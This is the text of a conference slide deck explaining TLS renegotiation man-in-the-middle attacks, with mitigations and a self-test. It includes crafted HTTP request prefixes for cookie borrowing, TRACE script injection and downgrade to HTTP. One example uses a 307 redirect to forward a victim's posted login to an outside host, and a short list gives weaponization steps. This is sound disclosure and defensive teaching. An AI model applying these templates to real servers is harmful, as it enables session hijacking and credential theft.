TLS Renegotiation:
Explanation & Exploitation
Mikhail Davidov
Leviathan Security Group
Flavors of Renegotiation
Client-Initiated
– Initially meant for reseeding of cryptographic systems
in case of entropy loss.
– Rare, but used. (TOR)
– Was enabled by default in most implementations.
• Except IIS which didn’t implement part of the specification.
Server-Initiated
– Supported by both IIS & Apache
– Used for sites with client certificate authentication.
Attacks against
Client-Initiated Renegotiation
Basic TLS Handshake
CLIENT
SERVER
Renegotiation
Initial Handshake
 Something Happens
Renegotiation
MITM
The Attack
1) MITM Intercept initial ClientHello &
holds it.
2) MITM Connects normally to the
target & transmits evil bits.
EVIL cryptotext
3) MITM Replays the initial ClientHello
from victim.
4) Client just senses a little bit of lag and
continues to connect to the server.
5) Client sends its nice bits.
6) Server assembles message and sees
evil bits followed by nice bits as
though they came from the Client.
Why HTTP is Perfect
GET / HTTP/1.1
Host: yourbank.com
Connection: Keep-Alive
….
X-SomeProtocolExtension: Anything
\r\n
\r\n
Why HTTP is Perfect
X-CommentOut: GET / HTTP/1.1
Host: yourbank.com
Connection: Keep-Alive
….
X-SomeProtocolExtension: Anything
\r\n
\r\n
Why HTTP is Perfect
GET /Evil.html HTTP/1.1
X-CommentOut: GET / HTTP/1.1
Host: yourbank.com
Connection: Keep-Alive
….
X-SomeProtocolExtension: Anything
\r\n
\r\n
Attacks!
• Red = Evil Bits
• Black = Nice bits
• Green = Response
Not RESTful?
Cookie borrowing!
GET /twoot?msg=omglol HTTP/1.1
X-Anything: GET / HTTP/1.1
Site: www.twooter.com
Cookie: leetsession=12387131731837183121
HTTP/1.1 200 OK
…..
TRACE enabled?
Code Execution!
TRACE / HTTP/1.1
X-Anything: <script src=“…”/>GET / HTTP/1.1
Site: www.yourbank.com
HTTP/1.1 200 OK
Connection: close
Content-Length: xxxx
TRACE / HTTP/1.1
X-Anything: <script src=“…”/>GET / HTTP/1.1
Site: www.yourbank.com
Found 302 to HTTP?
Downgrade Channel!
GET /Some302Resource HTTP/1.1
X‐Ignore: GET / HTTP/1.1
Host: yourbank.com
302 OK HTTP/1.1
Location: http://www.somewhereelse.com/
(Perform traditional MITM attack / SSLStrip)
Found 302 to HTTP on a VHost?
Downgrade Channel… Again!
GET /Some302Resource HTTP/1.1
Host: www.virtualhost2.com
X‐Ignore: GET /clientsoriginalrequest HTTP/1.1
Host: yourbank.com
302 OK HTTP/1.1
Location: http://www.somewhereelse.com/
(Perform traditional MITM attack / SSLStrip)
Found 307 to HTTP?
Steal POSTed Data!
POST /Some307Resource HTTP/1.1
X‐Ignore: POST /ProcessLogin HTTP/1.1
Host: Bank.com
Content‐Length: 100
username=joebanker&password=secretpassw0rd
307 OK HTTP/1.1
Location: http://www.bobsblog.com/PostComment
POST /PostComment HTTP/1.1
Host: bobsblog.com
Content‐Length: 100
username=joebanker&password=secretpassw0rd
\r\n\r\n
 HEY! HTTP Cleartext on
new socket!
Weaponization
1. Get MITM
2. Hold on to the ClientHello
3. Spider hosts for 302s -> HTTP and repeat for VHosts (
bing.com/search?q=ip:xxx.xxx.xxx.xxx to get domains)
4. Perform 302 attack to downgrade to HTTP.
5. Perform SSL Strip on original domain
– This bug removes the sslstrip limitation of user initially
going to http://bank.com instead of httpS://bank.com
Attacks against
Server-Initiated Renegotiation
C
Ideal Secure
Scenario
S
Server asks for certificate immediately!
 Client provides certificate during negotiation.
Everything is OK
& not vulnerable!
The Problem:
The Real World
• Most web servers are multi-homed:
– /index.html  anyone can access.
– /secure/index.html  requires client-cert.
• Or mis-configured to not ask for a client
certificate immediately. (Default on IIS)
Typical Scenario
Normal negotiation as seen before.
 Client request a “secure” resource.
 Server initiates renegotiation.
 Server asks for the client certificate.
 Client provides its certificate.
 Server processes the request & responds.
The Attack
MITM Intercept initial ClientHello
& performs its own negotiation with
the server.
 MITM transmits evil bits.
Server holds on to evil request &
initiates renegotiation. MITM Replays
the initial ClientHello from victim.
 Server asks for the client cert.
 Client happily provides the cert.
 Server processes the queued
request.
Mitigations
• Upgrade! Its fixed! (rfc5746)
– http://tinyurl.com/sslpatchedlist
– OpenSSL 0.9.8m+
– MS10-049
• Disable client-initiated renegotiation
altogether. You don’t need it. (Really)
• If using client-certs make sure the root is
protected & server asks for the certificate
immediately.
Test it yourself!
(client-initiated renegotiation)
• Windows tool & whitepaper at:
– http://leviathansecurity.com/research/
• If you have openssl prior to 0.9.8m:
– openssl s_client –host www.yoursite.com –port
443
– Type capitol “R” and hit return.
• If you see it successfully renegotiate the server does
allow insecure renegotiation. Check to make sure you
are patched and disable insecure renegotiation if you
can.
Questions?
• @sirus on Twitter
• mikhail.davidov@leviathansecurity.com
• http://www.phonefactor.com/sslgap
• http://tinyurl.com/sslpatchedlist
• http://leviathansecurity.com/research/
• Thanks to Steve Dispensa, Marsh Ray, & Nasko Oskov
Image credits:
http://laurachappell.blogspot.com/2009/11/ssltls-flawed-using-wireshark-to.html
https://www.phonefactor.com/sslgapdocs/Renegotiating_TLS_pd.pdf